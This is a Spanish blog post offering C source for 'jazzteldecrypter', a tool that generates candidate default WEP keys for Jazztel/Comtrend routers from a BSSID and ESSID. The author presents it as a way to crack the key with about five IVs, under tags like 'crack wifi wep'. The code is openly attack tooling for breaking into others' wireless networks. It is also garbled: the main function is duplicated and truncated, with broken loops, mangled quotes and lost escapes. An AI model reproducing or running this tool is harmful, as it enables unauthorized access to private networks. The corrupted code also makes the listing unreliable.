Después del día que me he pegado hoy reconfigurando firewalls, routers, switches y la forma de ver las cosas con más calma, me he encontrado este código que proviene del de nilp0inter.
#include
#include
#include
//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 12
#define MAXINDEX 1
#define VERSION 0
#define SUBVERSION 0
//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
char bssid[9];
char init[MAXINDEX][8];
char notas[30];
} tRouter;
//
// Variables globales
//
char hex[16]="0123456789ABCDEF";
//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);
//
// MAIN !!!
//
int main(int argc, char *argv[])
{
int bssidId, i;
int validHex=0;
char endKey[2];
tRouter routers[MAXROUTER];
FILE *fichero;
if(argc<3 || argc>4)
{
muestraAyuda();
return 1;
}
fprintf(stderr, "njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6n", VERSION, SUBVERSION);
if(strlen(argv[1])!=17)
{
fprintf(stderr," [-] Longitud de BSSID invalidan");
return 1;
}
initRouters(routers);
datosRouters(routers);
bssidId=buscaBssid(routers, argv[1]);
if(bssidId==-1)
{
fprintf(stderr, " [-] BSSID no encontradon");
return 1;
}
else
{
fprintf(stderr, " [+] BSSID: %sn"
" [+] Modelo: %sn", argv[1], routers[bssidId].notas);
for(i=0;i3) // Fichero
{
fprintf(stderr," [+] Fichero de claves: %sn", argv[3]);
fichero=fopen(argv[3], "a+");
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, " [+] Fichero guardadon");
}
else
{
fprintf(stderr," [-] Error al abrir el ficheron");
return 1;
}
}
else
{
fprintf(stderr," [+] Seleccionada salida estandarn");
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}
}
return 0;
}
//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j [output file]nn");
}
//
// Busca el bssid en la estructura y devuelve el identificador o
// -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;
for(i=0;i
argv[2][i]=toupper(argv[2][i]);
if(strlen(argv[2]) != 10 || strncmp(”JAZZTEL_”, argv[2],
!= 0 )
{
fprintf(stderr, ” [-] ESSID: %s invalido!!\n”, argv[2]);
return 1;
}
else
{
for(i=0;i
{
if(argv[2][8]==hex[i])
{
validHex++;
break;
}
}
for(i=0;i
{
if(argv[2][9]==hex[i])
{
validHex++;
break;
}
}
if(validHex!=2)
{
fprintf(stderr, ” [-] ESSID: %s invalido!!\n”, argv[2]);
return 1;
}
else
{
endKey[0]=argv[2][8];
endKey[1]=argv[2][9];
fprintf(stderr,” [+] ESSID: %s\n”, argv[2]);
if(argc>3) // Fichero
{
fprintf(stderr,” [+] Fichero de claves: %s\n”, argv[3]);
fichero=fopen(argv[3], “a+”);
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, ” [+] Fichero guardado\n”);
}
else
{
fprintf(stderr,” [-] Error al abrir el fichero\n”);
return 1;
}
}
else
{
fprintf(stderr,” [+] Seleccionada salida estandar\n”);
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}
}
return 0;
}
//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j
{
strcpy(routers[j].bssid,”");
for(i=0;i<5;i++)
strcpy(routers[j].init[i],”");
strcpy(routers[j].notas,”");
}
}
//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
int i =0;
// Comtrend
strcpy(routers[i].bssid,”00:1A:2B\0″);
strcpy(routers[i].init[0],”E001D20\0″);
strcpy(routers[i].notas,”Comtrend\0″);
i++;
}
//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
fprintf(stderr, “\njazzteldecrypter %i.%i – (c) 2008 nilp0inter2k6\n”, VERSION, SUBVERSION);
fprintf(stderr, ” uso: jazzteldecrypter [output file]\n\n”);
}
//
// Busca el bssid en la estructura y devuelve el identificador o
// -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;
for(i=0;i
bssid[i]=toupper(bssid[i]);
for(i=0;i
{
if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
return i;
}
return -1;
}
//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
int i,j,k,l,index=0;
while(index
{
for(i=0;i<16;i++)
for(j=0;j<16;j++)
for(k=0;k<16;k++)
for(l=0;l<16;l++)
{
fprintf(fichero, “%s%c%c%c%c%c%c\n”,routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
}
index++;
}
}
Con esto lo que creamos es un diccionario para encontrar la clave WEP con un mínimo de iv’s (5 en concreto).
Espero que lo disfruteis.
Tags:
crack wep,
crack wifi wep,
crackear wifi,
wep